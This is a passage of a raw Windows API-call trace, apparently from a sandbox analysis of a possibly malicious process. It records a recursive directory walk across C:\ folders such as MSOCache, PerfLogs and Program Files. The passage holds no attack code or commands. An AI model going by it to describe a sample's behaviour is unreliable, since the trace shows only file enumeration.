dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0052.944] GetLastError () returned 0x12 [0052.944] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdd382ac0, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xdd382ac0, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd091f700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0052.944] GetLastError () returned 0x12 [0052.944] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x418f61e0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x418f61e0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xa18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.944] GetLastError () returned 0x12 [0052.944] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x418f61e0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x418f61e0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xa18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.944] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.944] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0052.944] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-012B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9B15F~1")) returned 1 [0052.944] GetLastError () returned 0x12 [0052.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-012B-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-012b-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.960] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.961] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce855bb0, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xce855bb0, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd24c9f50, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x27cdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LyncMUI.cab", cAlternateFileName="")) returned 1 [0052.961] GetLastError () returned 0x12 [0052.961] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11d62a10, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x11d62a10, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="LyncMUI.msi", cAlternateFileName="")) returned 1 [0052.961] GetLastError () returned 0x12 [0052.961] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3894afb0, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x3894afb0, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="LyncMUI.xml", cAlternateFileName="")) returned 1 [0052.961] GetLastError () returned 0x12 [0052.961] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41cb0b50, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41cb0b50, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x69a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.961] GetLastError () returned 0x12 [0052.961] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41cb0b50, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41cb0b50, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x69a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.961] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.961] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0052.961] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd247f400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2563c40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2563c40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-012B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9B15F~1")) returned 0 [0052.961] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0052.962] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0052.963] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0052.963] FindClose (in: hFindFile=0x4d28d0 | out: hFindFile=0x4d28d0) returned 1 [0052.963] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2ab73c0 | out: hHeap=0xab0000) returned 1 [0052.963] FindNextFileW (in: hFindFile=0x4cda50, lpFindFileData=0x2e6f95c | out: lpFindFileData=0x2e6f95c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x70ee9fe0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0052.963] GetLastError () returned 0x12 [0052.963] FindNextFileW (in: hFindFile=0x4cda50, lpFindFileData=0x2e6f95c | out: lpFindFileData=0x2e6f95c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0052.963] GetLastError () returned 0x12 [0052.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*" (normalized: "c:\\perflogs\\*"), lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.964] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0052.964] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Admin", cAlternateFileName="")) returned 1 [0052.964] GetLastError () returned 0x12 [0052.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*" (normalized: "c:\\perflogs\\admin\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0052.964] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.964] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0052.964] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0052.964] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0052.964] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Admin", cAlternateFileName="")) returned 0 [0052.964] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.967] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2ab73c0 | out: hHeap=0xab0000) returned 1 [0052.967] FindNextFileW (in: hFindFile=0x4cda50, lpFindFileData=0x2e6f95c | out: lpFindFileData=0x2e6f95c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcb1b4f90, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcb1b4f90, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0052.968] GetLastError () returned 0x12 [0052.968] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*" (normalized: "c:\\program files\\*"), lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcb1b4f90, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcb1b4f90, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.968] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xcb1b4f90, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcb1b4f90, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0052.968] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6705d50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6705d50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0052.968] GetLastError () returned 0x12 [0052.968] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*" (normalized: "c:\\program files\\common files\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6705d50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6705d50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0052.968] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6705d50, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6705d50, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.968] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb62804e0, ftCreationTime.dwHighDateTime=0x1d839a6, ftLastAccessTime.dwLowDateTime=0x34d39f10, ftLastAccessTime.dwHighDateTime=0x1d89e61, ftLastWriteTime.dwLowDateTime=0x34d39f10, ftLastWriteTime.dwHighDateTime=0x1d89e61, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="employee.exe", cAlternateFileName="")) returned 1 [0052.968] GetLastError () returned 0x12 [0052.968] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x388bfe90, ftCreationTime.dwHighDateTime=0x1d8b31a, ftLastAccessTime.dwLowDateTime=0x52564380, ftLastAccessTime.dwHighDateTime=0x1d8b36a, ftLastWriteTime.dwLowDateTime=0x52564380, ftLastWriteTime.dwHighDateTime=0x1d8b36a, nFileSizeHigh=0x0, nFileSizeLow=0x126eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="EycKgld_uIVGhuCKmRk2.png", cAlternateFileName="EYCKGL~1.PNG")) returned 1 [0052.969] GetLastError () returned 0x12 [0052.969] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9081a40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9081a40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0052.969] GetLastError () returned 0x12 [0052.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9081a40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9081a40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0052.969] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9081a40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9081a40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.969] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x175dffd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4f0d7880, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4f0d7880, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0052.969] GetLastError () returned 0x12 [0052.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x175dffd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4f0d7880, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4f0d7880, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0052.970] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x175dffd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4f0d7880, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4f0d7880, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.970] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x175dffd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4f0d7880, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4f0d7880, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0052.970] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0052.970] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0052.970] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b72b80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91d86a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd91d86a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0052.970] GetLastError () returned 0x12 [0052.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b72b80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91d86a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd91d86a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0052.971] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b72b80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91d86a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd91d86a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.971] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261ab200, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd8c31260, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261ab200, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0xa6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0052.971] GetLastError () returned 0x12 [0052.971] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, 